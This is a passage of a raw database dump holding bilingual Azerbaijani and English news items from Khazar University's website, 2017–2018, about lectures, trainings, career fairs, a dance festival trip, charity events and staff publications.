&nbsp;Dr.\r\nC. Bulent Aybar, Professor of International Finance, Ph.d. Program Director and\r\nLeyla Hamidova, Education USA Adviser visited Khazar University to deliver a\r\npresentation on the Higher Education in the USA. BA and MA students of Khazar\r\nUniversity and some members of English language and literature department\r\nparticipated in the meeting. Leyla Hamidova provided the participants with\r\ndetailed information about the US education system and spoke about the\r\nopportunities to apply for an MA and PhD degrees in the USA. The presentation\r\nwas followed by discussions regarding the tuition fee, accommodation and\r\nchallenges usually faced by the students during their studies in the US.\r\nOverall, the meeting was very beneficial and both the quests and the\r\nparticipants were pleased. &nbsp;</p>'),(3794,2211,'az','Siyasi elm və beynəlxalq münasibətlər departamentinin tələbələri üçün “İş axtarmaq qaydaları” mövzusunda təlim keçirildi','2017-ci il mayın 22-də Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamentinin tələbələri üçün “İş axtarmaq qaydaları” mövzusunda təlim keçirildi. Təlim...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2017-ci il mayın 22-də Xəzər Universiteti Siyasi elm və beynəlxalq\r\nmünasibətlər departamentinin tələbələri üçün&nbsp;“İş axtarmaq qaydaları” mövzusunda təlim keçirildi. Təlim Xəzər\r\nUniversitetinin müəllimi və İnformasiya Sistemləri Şöbəsinin əməkdaşı Rəşad\r\nXalıqov tərəfindən aparıldı. İş təcrübəsi olmayan tələbələrə bu yolda yardımçı\r\nolmaq üçün yaratdığı&nbsp; <a href=\"http://stajer.az/\">stajer.az/</a> platformasından danışan Rəşad Xalıqov, daha\r\nsonra işə müraciət zamanı tələbələrin riayət etməli olduqları qaydaları izah\r\netdi. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Qeyd edək ki,\r\nsözügedən təlim Siyasi elm və beynəlxalq münasibətlər departamenti\r\ntərəfindən təşkil olunan 10 həftəlik Məşğulluq və İşgüzar Bacarıqlar Proqramı çərçivəsində\r\nbaş tutdu.</p>'),(3795,2203,'en','Teachers and Students of School of Education Visit Gobustan','On May 21,2017,  the teachers and students of the School of Education visited Gobustan- the cultural-historical monumental complex of Azerbaijan and the world. The visit was organized...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:35.4pt;line-height:normal\"\"=\"\">On May 21,2017,&nbsp; the teachers\r\nand students of the School of Education visited Gobustan- the\r\ncultural-historical monumental complex of Azerbaijan and the world. The visit\r\nwas organized with Roza Arazova’s support Head of the Department of History and\r\nArchaeology, &nbsp;and Orkhan Zamanov’s\r\ninitiative, the teacher of the department. The purpose of the visit was to\r\ndevelop the outlook and historical knowledge of the 1st year students majoring in\r\nHistory Teaching and provide their direct acquaintance with intangible cultural\r\nheritage of Azerbaijan, to organize effective recreation&nbsp;of teachers and\r\nstudents before the examinations and create opportunity for idea exchange.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:35.4pt;line-height:normal\"\"=\"\">The ancient caves of Boyukdash mountain,\r\nrock paintings, the bonfire and habitaion of ancient people, the uniqueness of\r\nthe landscape were demonstrated to the students of Khazar University. Later, an\r\nextensive excursion to the newly created interactive museum was organized by\r\nthe museum guide to provide information about petroglyphs of Azerbaijan and the\r\nworld, their study and geography, the ancient climate and lanscape, the fauna\r\nand flora of the territory, the activity and life of the ancient people. The\r\nvisit concluded with the short break time and entertaining games.</p>'),(3796,2212,'az','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \" davam edir','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \" təlimindən bu günə olan şəkilləri sizə təqdim edirik...','<p>“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \"&nbsp;təlimindən bu günə olan şəkilləri sizə təqdim edirik.</p>'),(3797,2212,'en','Training Course for Potential School Directors Continues','We present to you pictures from today\'s training from the Course for Potential School Directors...','<p>We present to you pictures from today\'s training from the Course for Potential School Directors.</p>'),(3798,2213,'az','İngilis dili və ədəbiyyatı departamentinin əməkdaşının məqaləsi çap olundu','Xəzər Universiteti İngilis dili və ədəbiyyatı departamentinin Alt proqramlar üzrə koordinatoru Milana Abbasovanın (doktorant) “Anqlisizmlər Azərbaycan Kütləvi İnformasiya...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər Universiteti İngilis dili və ədəbiyyatı\r\ndepartamentinin Alt proqramlar üzrə koordinatoru Milana Abbasovanın (doktorant)\r\n“Anqlisizmlər Azərbaycan Kütləvi İnformasiya vasitələrində<em>”</em><strong> </strong>adlı\r\nelmi məqaləsi Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya\r\nKomissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, Azərbaycan Dillər\r\nUniversitetinin “Azərbaycanda xarici dillər” jurnalının 2016 ci il 4-cü buraxılışında çap\r\nedilmişdir. Məqalədə qloballaşan ingilis dilindən, Azərbaycan kütləvi\r\ninformasiya vasitələrinə anqlisizmin təsirindən, anqlisizmin əksər həyat\r\nsferalarında əsasən də kütləvi informasiya vasitələrindəki yerindən bəhs\r\nedilir. Tədqiqatın araşdırma obyekti “525-ci qəzet”dir. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Məqalənin tam şəkildə <a href=\"/files/pdf/events/ADU_xeber_Milana%20x.PDF\">PDF</a>\r\nformatda burada oxumaq olar.</p>'),(3799,2214,'az','Xəzər Universitetinin əməkdaşının məqaləsi çap olundu','Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini, Xəzər Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimovanın (doktorant) Azərbaycan Respublikası...','<p>Xəzər\r\nUniversiteti Humanitar və sosial elmlər fakültəsinin dekan müavini, Xəzər\r\nPsixoloji Xidmət Mərkəzinin direktoru Mələk Kərimovanın (doktorant) Azərbaycan\r\nRespublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin\r\nçapı üçün tövsiyə edilən, Bakı Dövlət Universitetinin Psixologiya jurnalının 1-ci\r\nburaxılışındaməqaləsi çap edilmişdir. Məqalədə&nbsp;uşaq\r\nvə yeniyetmələrdə internet asılılığının təyini ilə əlaqədar testin Azərbaycan\r\nmühitinə uyğunlaşdırılması zərurəti və metodunun ətraflı şərhinə yer\r\nverilmişdir. &nbsp;</p>\r\n<p>Məqalənin\r\ntam şəkildə <a href=\"/files/pdf/events/BDU%20Melek.PDF\">PDF</a> formatda burada oxumaq olar.</p>'),(3800,2204,'en',' Fourth - Final Part of  Interview with Professor Hamlet Isaxanli Published in \"525th newspaper”','As it was reported, the interview of Waqas Ahmad with Hamlet Isakhanli, Founder of Khazar University, Chairman of its Broad of Directors and Trustees,  was published part by part...','<p>As it was reported, the\r\ninterview of Waqas Ahmad with Hamlet Isakhanli, Founder of Khazar University,\r\nChairman of its Broad of Directors and Trustees,&nbsp; was published part by part in \"525th\r\nnewspaper\" starting &nbsp;from April 29th, 2017.</p>\r\n<p>The fourth – final part of the interview was published in May 20, 2017\r\nedition of the newspaper.</p>\r\n<p>The mentioned part is available at following link:</p>\r\n<p><a href=\"http://525.az/site/?name=xeber&amp;news_id=79594#gsc.tab=0\">http://525.az/site/?name=xeber&amp;news_id=79594#gsc.tab=0</a></p>'),(3801,2201,'en','Khazar University Loses $2 Million Grant','On May 19,2017,  According to the  information given to sputnik.az website by professor Hamlet Isakhanli, founder of Khazar University and Chairman of its Board of Directors and...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On May 19,2017, &nbsp;According to the&nbsp; information given to sputnik.az website by\r\nprofessor Hamlet Isakhanli, founder of\r\nKhazar University and Chairman of its Board of Directors and Trustees,\r\na number of news websites broadcast the news on the grants directed to other countries which\r\nKhazar university was able to win.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">For the full version of the\r\narticle visit the following links:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"https://ru.sputnik.az/science/20170519/410334270/universitet-hazar-dva-milliona-dollarov.html\">https://ru.sputnik.az/science/20170519/410334270/universitet-hazar-dva-milliona-dollarov.html</a>;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://baku.ws/88890-1azerbaydzhanskiy-universitet-lishili-dvuh-millionov-dollarov.html\">http://baku.ws/88890-1azerbaydzhanskiy-universitet-lishili-dvuh-millionov-dollarov.html</a>;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://minval.az/news/123689681#Kalibri\">http://minval.az/news/123689681</a></p>'),(3802,2207,'en','KPMG-Azerbaijan Holds Career day at Khazar University','On may 22,2017,  KPMG-Azerbaijan held a Career day at “Neftchiler” compus of Khazar University. Senior year students majoring in finance, accounting and audit, business management...','<p>On\r\nmay 22,2017, &nbsp;KPMG-Azerbaijan held a Career\r\nday at “Neftchiler” compus of Khazar University. Senior year students majoring\r\nin finance, accounting and audit, business management took part in the online\r\ndigital and logic testing for vacancies of Audit\r\nand Tax Department of KPMG Azerbaijan.</p>\r\n<p>The results of the online testing which were the first step\r\nof the recruitment process&nbsp;were\r\nannounced immediately. Four students who passed the test successfully were\r\ninvited the next interview stage of the recruitment process.</p>'),(3803,2211,'en','  “ Job Search Rules” training was held for the students of the Department of Political    Science and International Relations ','On may 22, 2017,  “ Job Search Rules” training was held for the students of the Department of Political Science and International Relations of Khazar University. The training was...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On may 22, 2017,&nbsp;\r\n“ Job Search Rules” training was held for the students of the Department\r\nof Political Science and International Relations of Khazar University. The\r\ntraining was provided( delivered) by Rashad\r\nKhaligov, the teacher of Khazar University and the member of the Department of\r\nInformation Systems. Rashad Khaligov spoke about the <a href=\"http://stajer.az/\">stajer.az/</a>   platform that he\r\ncreated to help the students without any work experiences. Later, he explained\r\nthe rules that students should follow when they apply for jobs.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">It should be noted that, the training\r\nwas held within the framework of&nbsp; the 10\r\nweeks Employment and Business Skills Program organized by the Department of\r\nPolitical Science and International Relations.</p>'),(3804,2208,'az','Nizami layihəsinin 4-cü görüşü keçirildi','2017-ci il mayın 16-dan 19-dək Xəzər Universitetinin əməkdaşları – Biologiya departamentinin rəhbəri, Dr. İradə Xəlilova və İnkişaf Mərkəzinin direktoru Raziyə Isayeva Naxçıvan...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il mayın 16-dan 19-dək Xəzər\r\nUniversitetinin əməkdaşları – Biologiya departamentinin rəhbəri, Dr. İradə Xəlilova\r\nvə İnkişaf Mərkəzinin direktoru Raziyə Isayeva Naxçıvan Dövlət Universitetində\r\nkeçirilən Nizami Erasmus+ Kadr Potensialının İnkişafı layihəsi ilə bağlı görüşdə\r\niştirak etdilər. Görüş 2-dən 9-a qədər iş paketlərinin müzakirəsinə həsr\r\nolundu. Üç gün yarım davam edən müzakirələr çox intensiv və səmərəli keçdi.\r\nDoktorluq təhsilində yüksək standartlar, dissertasiya müdafiəsi, milli iradəetmə\r\nportali, profesional bacarıqların inkişafı, əlaqə və keyfiyyət planı haqqında\r\nolan təqdimatlar hərtərəfli müzakirə olundu. İş paketləri ilə bağlı məsul\r\nuniversitetlər işin maddi tərəfini təqdim etdilər və bu, uzun müzakirəyə səbəb\r\noldu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Azərbaycanda Milli Erasmus+ ofisinin rəhbəri\r\ncənab Pərviz Bağırov və onun köməkçisi Aygün Rüstəmli də görüşün ilk iki günündə\r\niştirak etdilər və layihənin ilkin qiymətləndirilməsini etdilər. Layihənin\r\nsonrakı inkişafı üçün hər bir iştirakçıya ev tapşırıqları paylandı və bunlar\r\nÇexiya Respublikasının Masaryk Universitetində olacaq növbəti görüşə hazır\r\nolmalı və təqdim edilməlidir.</p>'),(3805,2200,'en',' Doctoral thesis discussion of Khazar University employee was held ','On 19 May, 2017, the initial discussion of a PhD thesis ofJabir Mammadov Oruj, an employee of Khazar University and a PhD candidate of the Institute of Philosophy within Azerbaijan...','<p style=\"\" mso-margin-top-alt:auto;text-align:justify;text-indent:.25in\"\"=\"\">On 19 May, 2017, the initial discussion of a PhD thesis ofJabir Mammadov Oruj, an employee of Khazar University\r\nand a PhD candidate of the Institute of Philosophy within Azerbaijan National\r\nAcademy of &nbsp;Sciences was held. The research work is entitled as \"The Tragedy problem\r\nin Aesthetics” (Specialty: 721101-Aesthetics). Prof. Ilham Mammadzadeh, Doctor\r\nof Science in Phlosophy, director of the Institute of Philosophy, was a chairman of the\r\nmeeting.<u1:p></u1:p></p>\r\n<u1:p></u1:p>'),(3806,2215,'az','Çingiz Abdullayev tələbələrlə görüşdü','2017-ci il mayın 18-də Xəzər Universiteti Tələbə Məclisinin tanınmış şəxlərlə görüş planı çərçivəsində tanınmış yazıçı, Azərbaycan Yazıçılar Birliyinin birinci katibi Çingiz Abdullayev...','<p>2017-ci\r\nil mayın 18-də Xəzər Universiteti Tələbə Məclisinin tanınmış şəxlərlə görüş\r\nplanı çərçivəsində tanınmış yazıçı, Azərbaycan Yazıçılar Birliyinin katibi Çingiz Abdullayev ilə görüş keçirildi. Yazıçı öz karyerasına necə\r\nbaşladığını və öz uğur hekayəsini tələbələrlə bölüşdü.</p>\r\n<p>Yazıçı\r\ntələbələrin suallarını cavablandırdı. Görüşdə 100-dən çox tələbə iştirak\r\nedirdi.</p>\r\n<p>Görüşdən\r\nsonra Çingiz Abdullayev universitetin kitabxanası ilə taniş oldu və kitabxana\r\nkollektivi ilə xatirə şəkli çəkdirdi.</p>'),(4340,2571,'az','Xəzər Universitetində Vurğun Əyyubun anadan olmasının 60 illiyi münasibətilə yubiley mərasimi keçirildi','Oktyabrın 24-də Xəzər Universitetində Azərbaycan dili və ədəbiyyat departamentinin müdiri Vurğun Əyyubun anadan olmasının 60 illiyi münasibətilə...','<br><p>Oktyabrın 24-də Xəzər Universitetində Azərbaycan dili və ədəbiyyat departamentinin müdiri Vurğun Əyyubun anadan olmasının 60 illiyi münasibətilə yubiley mərasimi keçirildi. Mərasimdə universitetin rəhbərliyi və əməkdaşları, qonaqlar iştirak edirdilər.</p><p>Mərasimə aparıcılıq edən Azərbaycan dili və ədəbiyyat departamentinin müəllimi Dilbər Zeynalova ilk sözü universitetin prorektoru İsaxan İsaxanlıya verdi. İ.İsaxanlı çıxışında Vurğun Əyyubun pedaqoji və elmi fəaliyyətindən danışdı, universitetin kollektivi adından yubilyara ünvanlanmış təbrik məktubunu oxudu, məktubu gül dəstəsi ilə ona təqdim etdi.</p><p>Mərasimdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, universitetin rektoru Hassan Niknafs, prorektor Məhəmməd Nuriyev, AMEA Nizami Gəncəvi adına Ədəbiyyat İnstitutunun şöbə müdiri, professor Bədirxan Əhmədli, Təhsil fakültəsinin dekanı Elza Səmədova, Azərbaycan dili və ədəbiyyat departamentinin müəllimləri Reyhan Mədətova, İlahə Qurbanova, Xatirə Yusifova, Qardaşxan Əzizxanlı, Fəlsəfə və insanşünaslıq departamentinin müəllimi Mail Yaqubov çıxış etdilər.</p><p>Çıxış edənlər Vurğun Əyyubun çoxşaxəli fəaliyyətindən danışdılar, onu tanınmış təhsil təşkilatçısı, ədəbiyyatşünas alim və ictimai-siyasi xadim kimi səciyyələndirdilər.</p><p>Yubiley mərasimində aşıq Ramal Azaflı və universitetin müəllimi Məhsəti Cabbarovanın ifasında aşıq mahnıları səsləndi.</p><p>Sonda Vurğun Əyyub çıxış edərək, yubiley mərasiminin təşkilinə görə universitet rəhbərliyinə və iştirakçılara təşəkkürünü bildirdi.</p>'),(4222,2485,'en','A new chair was appointed to the English Language and Literature Department','Dr. Bahman Amani was appointed to the position of a chair to the English Language and Literature Department...','<p>Dr. <a href=\"/files/letters/Curriculum_Vitae_Dr_Amani.pd\">Bahman Amani</a> was appointed to the position of a chair to the English Language and Literature Department. He received his BA degree from Tabriz University, majoring in English Literature. He continued his postgraduate studies in India and received Master’s and PhD degrees in English Literature from Pune University.</p><p>In his past 30 years career, Dr Amani has the positions of Head of Department, Pro-rector of Education and Rector of State University in his record. He has published/presented many articles and supervised a considerable number of postgraduate theses.</p><p>At present, he is the head of English language and Literature Department at Khazar University.</p>'),(4223,2484,'en','A seminar entitled ‘A classroom as a scene and a teacher as an actor’ conducted by the department of Education.','On October 5, 2017, the department of Education of Khazar University held a seminar entitled...','<p>On October 5, 2017, the department of Education of Khazar University held a seminar entitled ‘A classroom as a scene and a teacher as an actor’. At the seminar, the changes, that can be done in the classroom, by the teachers through their theatrical skills and scenes, were discussed and practical examples were given.</p><p>A group of teachers from Khazar University attended the seminar.</p>'),(6103,3479,'en','Project “Trainings on the embodiment of Azerbaijani national ornaments in modern clothes collections” is over','The participants of the project “Trainings on the embodiment of Azerbaijani national ornaments in modern clothes collections...','<p>The participants of the project “Trainings on the embodiment of Azerbaijani national ornaments in modern clothes collections”, held on September 10-17, 2018, were awarded certificates.</p><p>One of the trainers was Afag Karimova, a member of Azerbaijan Union of Artists, Instructor of Khazar University, and Director of Carpet Museum as well as Museum of Fine Arts at Khazar University.</p><p>More information is available through the following link:</p>  \r\n<p><a href=\"http://sfera.az/genc-dizaynerlere-sertifikat-verildi-fotolar\">http://sfera.az/genc-dizaynerlere-sertifikat-verildi-fotolar</a>.</p>'),(4203,2468,'az','“Gənc tarixçilər” muzeydə oldular','2017-ci il oktyabrın 2-də Xəzər Uniersiteti Tarix və arxeologiya departamentinin müəllimi Orxan Zamanovun...','<p>2017-ci il oktyabrın 2-də Xəzər Uniersiteti Tarix və arxeologiya departamentinin müəllimi Orxan Zamanovun təşkilatçılığı ilə Təhsil fakültəsi tarix müəllimliyi ixtisasının tələbələrinin “Arxeologiyaya giriş” dərsi AMEA Arxeologiya və Etnoqrafiya İnstitutunun Muzey sərgi zalında keçirildi. Orxan Zamanov tələbələrə başlıca arxeoloji mənbələr və abidələr haqqında əyani məlumat verdi.</p><p>Tələbələri maraqlandıran suallar cavablandırıldı.</p>'),(4204,2469,'az','S.Yesenin yaradıcılığının tədqiqatçısı şairin doğum günü ilə bağlı tədbirdə çıxış etdi','2017-ci il oktyabrın 3-də Xəzər Universitetinin İdarəetmə və tələbə işləri üzrə prorektoru...','<p>2017-ci il oktyabrın 3-də Xəzər Universitetinin İdarəetmə və tələbə işləri üzrə prorektoru,&nbsp;pedaqoji elmlər üzrə fəlsəfə doktoru İsaxan İsaxanlı Azərbaycan Milli Elmlər Akademiyasının (AMEA) Dendrologiya İnstitutunda rus şairi Sergey Yeseninin anadan olmasının 122-ci ildönümünə həsr edilən ədəbi-musiqili tədbirdə çıxış etmişdir.</p><p>Daha geniş məlumatı bu link vasitəsilə əldə etmək olar:&nbsp;</p><p><a href=\"https://azertag.az/xeber/Bakida_Sergey_Yeseninin_yubileyi_qeyd_olunub-1099077\">https://azertag.az/xeber/Bakida_Sergey_Yeseninin_yubileyi_qeyd_olunub-1099077</a>.</p>'),(3807,2216,'az','Gənclər və İdman Nazirliyinin nümayəndələri Xəzər Universitetində oldular','2017-ci il mayın 24-də “Olaylar” İnformasiya Agentliyinin rəsmi internet səhifəsində Kosta Rikada keçiriləcək Dünya Robot Olimpiadasının finalında iştirak üçün ölkədaxili seçim...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il mayın 24-də “Olaylar” İnformasiya Agentliyinin rəsmi\r\ninternet səhifəsində Kosta Rikada keçiriləcək Dünya Robot Olimpiadasının finalında\r\niştirak üçün ölkədaxili seçim yarışlarının keçirilməsi və qalib komandaların dəstəklənməsi\r\nməqsədilə cari il mayın 17-də Gənclər və İdman Nazirliyinin, Azərbaycan\r\nRobotexnika Mühəndisliyi Akademiyasının və EduMedia şirkətinin nümayəndələrinin\r\nXəzər Universitetində komandaların Olimpiadaya hazırlıqları ilə tanış olduqları\r\nilə bağlı xəbər yayınlanmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəbəri bütövlükdə bu link vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://olaylar.az/news/sosial/222872%20\">http://olaylar.az/news/sosial/222872</a>.&nbsp;</p>'),(3808,2217,'az','Xəzər Universiteti Beynəlxalq Aksu Festivalında','2017-ci il mayın 18-dən 23-dək Xəzər Universitetinin oğlanlardan və qızlardan ibarət rəqs qrupları Türkiyənin Giresun şəhərində keçirilən 40-cı Beynəlxalq Aksu festivalında...','<p>2017-ci il mayın 18-dən 23-dək Xəzər Universitetinin oğlanlardan və qızlardan ibarət rəqs qrupları Türkiyənin Giresun şəhərində keçirilən 40-cı Beynəlxalq Aksu festivalında müvəffəqiyyətlə&nbsp;&nbsp;iştirak etdilər. Festivalda Xəzər Universiteti ilə birlikdə Gürcüstan, Rusiya, Kosova, Şimali Kipr Türk Cümhuriyyəti və Türkiyənin müxtəlif bölgələrindən rəqs qrupları iştirak edirdi. Xəzər Universiteti artıq ikinci ildir ki, 35 nəfərdən ibarət heyətlə Beynəlxalq Aksu Festivalında iştirak edirdi.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mayın 19-da “Xəzər”in kollektivi, ilk olaraq, Giresunda yaşayıb fəaliyyət göstərən azərbaycanlı rəssam Leyla Əliyevanın rəsm sərgisinin açılışında da iştirak etdi. Azərbaycanlı rəssam L.Əliyeva iştirak və dəstəyə görə, universitetin kollektivinə dərin təşəkkürünü və &nbsp;minnətdarlığını bildirdi. L.Əliyeva Xəzər Universiteti kollektivinin onun şəxsi sərgisinə göstərdiyi diqqətindən qürur duyduğunu, məmnun olduğunu ifadə etdi.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Növbəti gün festivalda rəqslərlə zəngin bir gün oldu. İki rəqs qrupu ilə festivala qatılan Xəzər Universitetinin kollektivi Atatürk meydanında və stadionda iki fərqli rəqs proqramı ilə iştirak etdi. Tədbir ənənəvi olaraq Giresun Bələdiyyə başqanı Kerim Aksunun nitqi və hər il yerinə yetirilən bir neçə ritualla başladı. Mərasimdə Giresun valisi, millət vəkilləri, yaxın bölgələrin rəhbərləri, ictimaiyyət nümayəndələri və çoxlu sayda yerli əhali iştirak edirdilər.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mayın 21-də səhər saatlarında hava şəraitinə görə iki gün təxirə salınan ənənəvi yürüş baş tutdu. Bütün Giresun şəhəri boyunca davam edən yürüşdə festival iştirakçıları öz musiqi və rəqsləri ilə yerli əhaliyə dostluq və sülh mesajları yolladılar. Yerli əhali də öz növbəsində iştirakçılara alqışları ilə dəstək oldular. Giresunluların Xəzər Universitetinin kollektivinə olan xüsusi münasibəti hər yerdə seçilirdi. Atatürk meydanında tamamlanan yürüşdə qonaqları bir daha salamlayan Bələdiyyə başqanı Kerim Aksunun nitqindən sonra müxtəlif ölkələrdən gələn iştirakçılar geniş rəqs proqramları ilə &nbsp;tədbirə davam etdilər. Onu da qeyd etməliyik ki, ən geniş və ən çox davam edən rəqs proqramı məhz Xəzər Universitetinə məxsus idi.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mayın 21-də Xəzər Universiteti İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəylini, Musiqi və incəsənət departamentinin müdiri Zülfiyyə Sadıqovanı və milli geyimdə olan iki rəqqası Giresun Valiliyində şəhərin valisi Hasan Karahan və Giresun Bələdiyyəsində Giresun Bələdiyyə başqanı Kerim Aksu qəbul etdilər. Ə.Əmirbəyli Xəzər Universiteti adından Giresun Valisinə və Bələdiyyə başqanına dərin təşəkkürünü bildirdi, onlara hədiyyələrini təqdim etdi. Görüşdə şəhər rəhbərliyi Xəzər Universiteti rəhbərliyinə maraqlı çıxışlara görə dərin təşəkkürlərini bildirdilər, onlara hədiyyələrini təqdim etdilər və xatirə şəkilləri çəkildi.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Aksu Festivalının sonuncu günü proqram iştirakçıları Giresun Universitetində açıq havada geniş konsert proqramı ilə çıxış etdilər. Güclü yağış səbəbindən təxirə salınması nəzərdə tutulan konsert proqramı iştirakçıların və tələbələrin təkidi ilə reallaşdı. Universitet tələbələri iki saatdan çox davam edən proqramı maraqla izlədilər.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mayın 23-də Xəzər Universitetinin kollektivi üçün təşkil olunan yeməkdə Giresun Bələdiyyəsi Mədəniyyət və sosial fəaliyyətlər şöbəsinin müdiri Hasan Özdemir, müavinləri, bələdiyyənin digər rəsmiləri şəxsən Xəzər Universitetinin kollektivini yeməkdə müşayiət etdilər və sonra Giresun Bələdiyyəsinə məxsus avtobusla Sarp Qapısına yola saldılar.</p>'),(3809,2218,'az','Xəzər Universitetində Karyera Sərgisi keçirildi','2017-cı il mayın 25-də Xəzər Universiteti Karyera Mərkəzinin təşkilatçılığı və Baker Tilly Azərbaycan şirkətinin sponsorluğu ilə Karyera Sərgisi keçirildi. Sərgi saat 11:00-dan 13:00-a kimi...','<p>2017-cı il mayın\r\n25-də Xəzər Universiteti Karyera Mərkəzinin təşkilatçılığı və Baker Tilly Azərbaycan\r\nşirkətinin sponsorluğu ilə Karyera Sərgisi keçirildi. Sərgi saat 11:00-dan\r\n13:00-a kimi davam etdi.</p>\r\n<p>Sərgidə&nbsp; Azərbaycan\r\nMarketinq Cəmiyyəti<em> (Azerbaijan Marketing\r\nSociety)</em>, Coca-Cola Bottlers Azərbaycan, Azərsun Holdinq, BTB Bank,\r\n“Barattson” Biznes və Maliyyə Məktəbi, Employ LLC, Express Bank, Facility\r\nManagement Group, GR8 Club, KPMG-Azərbaycan, Melissa Group, MET-AK LLC, PMD\r\nGroup, PricewaterhouseCoopers və Veyseloğlu şirkətləri iştirak edirdilər. </p>\r\n<p>Sərgidə Xəzər\r\nUniversitetin tələbə və məzunları ilə yanaşı, digər universitetlərin tələbə və\r\nməzunları da iştirak etdilər. İştirakçılar şirkətlərin verdiyi anket\r\nformalarını doldurur və öz CV-lərini təqdim etdilər.</p>'),(3810,2219,'az','Xəzər Universitetində xeyriyyə yarmarkası keçirildi','2017-cı il mayın 25-də Leykemiya ilə Mübarizə İctimai Birliyi ilə birlikdə Xəzər Univesitetində “Cahangirə dəstək olaq” adlı xeyriyyə yarmarkası keçirildi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-cı\r\nil mayın 25-də Leykemiya ilə Mübarizə İctimai Birliyi ilə birlikdə Xəzər Univesitetində “Cahangirə dəstək\r\nolaq” adlı xeyriyyə yarmarkası keçirildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Yarmarkada\r\nmüxtəlif kitablar satışa çıxarıldı. Hər kəsin böyük marağına səbəb olan bu tədbirdə\r\ntələbələr və universitet əməkdaşları fəal iştirak etdilər.</p>'),(3811,2220,'az','Xəzər Universitetində keçirilən xeyriyyə yarmarkası başa çatdı','2017-cı il mayın 25-də Leykemiya ilə Mübarizə İctimai Birliyi ilə birlikdə Xəzər Univesitetində “Cahangirə dəstək olaq” adlı xeyriyyə yarmarkası keçirildi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-cı\r\nil mayın 25-də Leykemiya ilə Mübarizə İctimai Birliyi ilə birlikdə Xəzər Univesitetində “Cahangirə dəstək\r\nolaq” adlı xeyriyyə yarmarkası keçirildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Yarmarkada tələbələr\r\nmüxtəlif ev şirniyyatları, bəzək əşyaları, rəsmlər satışa çıxardılar. Universitet əməkdaşlarının,\r\nfakültələrin hər birinin aktiv iştirak etdiyi yarmarkada 843 manat toplandı.</p>'),(3812,2221,'az','Universitetdə xeyriyyə konserti təşkil olundu','2017-cı il mayın 25-də Leykemiya ilə Mübarizə İctimai Birliyi ilə birlikdə Xəzər Univesitetində 